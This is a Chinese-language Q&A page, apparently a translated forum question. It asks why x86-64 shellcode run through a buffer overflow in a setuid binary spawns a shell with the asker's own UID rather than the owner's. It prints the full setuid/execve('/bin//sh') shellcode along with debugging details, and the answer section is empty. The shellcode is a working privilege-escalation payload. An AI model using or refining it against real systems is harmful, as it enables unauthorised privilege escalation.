问题描述
我有以下 shellcode,我可以说服 setuid 二进制文件作为缓冲区溢出的结果来执行:
push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')
这成功地生成了一个 shell,但是当我在其中运行 whoami
时,我得到了自己的用户名,而不是二进制文件所有者的用户名(用户 ID #1009)。如何使用 setuid 二进制文件所有者的权限启动 /bin/sh
?
其他细节:
- GDB 显示
sys_setuid(1009)
将 -1 EPERM 返回给 $rax - 在 shellcode 中运行
sys_getuid()
会返回我自己的 UID (#1000),就像sys_geteuid
- 运行
sys_setreuid(1009,1009)
也会将 -1 EPERM 返回给 $rax -
file <binary>
输出binary: setuid ELF 64-bit LSB executable,x86-64,version 1 (GNU/Linux),statically linked
所以二进制文件肯定设置了 setuid -
la -la
给出:-rwsr-xr-x 1 target_user root 800118 Mar 1 13:40 binary
- 从技术上讲,我将最终的 shellcode 限制为 34 个字节,但这与这里的一般问题没有直接关系。
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)